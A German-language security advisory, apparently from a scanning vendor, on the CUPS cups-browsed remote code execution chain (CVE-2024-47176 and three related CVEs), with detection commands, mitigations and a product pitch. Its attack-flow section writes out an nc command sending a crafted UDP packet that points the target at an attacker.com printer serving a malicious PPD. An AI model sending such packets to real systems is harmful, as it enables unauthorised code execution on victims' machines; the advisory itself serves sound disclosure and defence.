CVE-2024-47176: CUPS Linux RCE — 300K Internet-Exposed Systems
Eine Kette aus vier CUPS-Schwachstellen (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177) ermöglicht unauthentifizierte Remote Code Execution auf Linux-Systemen mit cups-browsed. Über 300.000 Systeme waren bei der Offenlegung internet-exponiert. Betrifft Ubuntu, Debian, Red Hat, Fedora und die meisten Linux-Distributionen standardmäßig.
| Attribut | Wert |
|---|---|
| Primäres CVE | CVE-2024-47176 |
| Verwandte CVEs | CVE-2024-47076, -47175, -47177 |
| CVSS-Vektor | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-20: Improper Input Validation |
| Veröffentlicht | 26. September 2024 |
| Ausnutzung | Öffentlicher PoC — opportunistisches Scanning beobachtet |
Was ist CVE-2024-47176?
CUPS (Common Unix Printing System) ist die Standard-Druckinfrastruktur auf Linux und macOS. Der cups-browsed-Daemon lauscht auf UDP-Port 631 auf Drucker-Ankündigungen im Netzwerk. CVE-2024-47176 ist der Einstiegspunkt in einer Vier-Schwachstellen-Kette: cups-browsed akzeptiert UDP-Pakete aus jeder Quelle, einschließlich des Internets, ohne Authentifizierung.
Durch das Senden eines präparierten UDP-Pakets an Port 631 kann ein Angreifer das System des Opfers dazu bringen, sich mit einem angreiferkontrollierten „Drucker“ zu verbinden. Der bösartige Drucker liefert eine präparierte PPD-Datei (PostScript Printer Description) mit eingebetteten Befehlen. Wenn das Opfer irgendetwas druckt, werden diese Befehle auf seinem System ausgeführt.
Die vollständige Angriffskette
| CVE | Komponente | Beschreibung |
|---|---|---|
| CVE-2024-47176 | cups-browsed | Bindet an UDP 0.0.0.0:631, akzeptiert Pakete von jeder IP |
| CVE-2024-47076 | libcupsfilters | IPP-Attributwerte werden beim Erstellen von PPD-Dateien nicht bereinigt |
| CVE-2024-47175 | libppd | Die PPD-Dateierzeugung bereinigt IPP-Attribute nicht |
| CVE-2024-47177 | cups-filters | FoomaticRIPCommandLine erlaubt beliebige Befehlsausführung |
Angriffsablauf
# Step 1: Attacker sends UDP packet to target:631 echo "0 3 http://attacker.com:8631/printers/evil" | nc -u -w1 target.com 631 # Step 2: cups-browsed fetches IPP attributes from attacker's server # Attacker's server returns malicious printer attributes # Step 3: libcupsfilters/libppd creates PPD with unsanitized attacker data # PPD contains: *cupsFilter: "application/vnd.cups-pdf 0 [attacker-cmd]" # Step 4: Next time any user prints (or admin triggers test print): # FoomaticRIP executes the command from the PPD # Command runs as the lp user (often has significant filesystem access)
⚠ Keine Nutzerinteraktion nach der Einrichtung
Der Angreifer muss nur ein UDP-Paket senden, um den bösartigen Drucker einzurichten. Die Ausnutzung wird dann ausgelöst, sobald irgendein Nutzer des Systems zu drucken versucht — einschließlich Routine-Druckaufträgen, die Stunden oder Tage später erfolgen können. Auf Servern könnte ein Angreifer die Ausnutzung auch aus der Ferne auslösen, indem er einen Druckauftrag an den neu installierten bösartigen Drucker sendet.
Ausmaß der Auswirkung
Zum Zeitpunkt der Offenlegung identifizierten Shodan- und Censys-Scans rund 300.000 internet-exponierte Systeme mit offenem UDP-Port 631. Die Schwachstelle betrifft praktisch jede große Linux-Distribution, die cups-browsed ausliefert:
- Ubuntu (cups-browsed in Desktop-Editionen standardmäßig aktiviert)
- Debian und Derivate
- Red Hat Enterprise Linux / CentOS / Rocky Linux
- Fedora
- Arch Linux
- Die meisten Linux-Desktop-Distributionen
macOS ist nicht betroffen, da es einen eigenen Druck-Stack nutzt. Allerdings nutzt macOS intern ebenfalls CUPS, sodass bestimmte Konfigurationen von verwandten Problemen betroffen sein können.
Erkennung
# Check if cups-browsed is running systemctl status cups-browsed ps aux | grep cups-browsed # Check if UDP 631 is exposed ss -ulnp | grep 631 netstat -ulnp | grep 631 # Check for unexpected printer additions lpstat -a cat /etc/cups/printers.conf | grep -i "deviceuri\|remote" # Look for suspicious PPD files find /etc/cups /var/cache/cups -name "*.ppd" -newer /etc/cups/cups-browsed.conf # Check logs for unexpected IPP connections grep "cups-browsed" /var/log/cups/error_log | grep "Adding\|New printer"
Mitigation
- cups-browsed stoppen und deaktivieren, falls nicht benötigt:
sudo systemctl stop cups-browsed sudo systemctl disable cups-browsed
- Patches anwenden: cups-browsed 2.0.1 und cups-filters 2.0.1 beheben die Schwachstellen. Ubuntu, Debian und Red Hat veröffentlichten Patches innerhalb von Tagen nach der Offenlegung.
- UDP-Port 631 an der Firewall blockieren: Verhindert, dass externe Pakete cups-browsed erreichen
sudo iptables -A INPUT -p udp --dport 631 -j DROP sudo ufw deny 631/udp
- FoomaticRIP entfernen, falls nicht benötigt: Der finale RCE-Schritt erfordert foomatic-rip. Es zu entfernen (wenn keine Foomatic-Drucker genutzt werden) eliminiert die Code-Ausführungsfähigkeit.
- Drucker-Konfigurationen auditieren: Entfernen Sie unbekannte Druckereinträge aus
/etc/cups/printers.conf
💡 Die meisten Server sind nicht verwundbar: Server-Installationen von Linux installieren cups-browsed typischerweise nicht standardmäßig. Das höhere Risiko liegt bei Linux-Workstations und Entwicklungsmaschinen. Dennoch sollte jedes für das Drucken konfigurierte Linux-System auditiert werden.
KENSAI-Erkennungsfähigkeit
- UDP-Port-Scanning: KENSAI identifiziert internet-exponierte UDP-631-Dienste über Ihre externe Angriffsfläche
- Service-Fingerprinting: Identifiziert CUPS-Version und cups-browsed-Präsenz aus Netzwerkantworten
- Internes Netzwerk-Scanning: KENSAIs interner Scanner identifiziert cups-browsed auf internen Linux-Workstations und -Servern
- Paket-Versionserkennung: Agent-basiertes Scanning identifiziert verwundbare CUPS-Paketversionen auf Linux-Endpoints
- Remediation-Leitfaden: Schrittweise Remediation-Anweisungen mit OS-spezifischen Befehlen für Ihre Distribution
Wie viele Linux-Systeme in Ihrer Umgebung haben cups-browsed exponiert?
KENSAI scannt Ihre interne und externe Angriffsfläche auf CUPS-Schwachstellen über alle Linux-Systeme. Verschaffen Sie sich in Minuten das vollständige Bild.
CUPS-Exposure finden →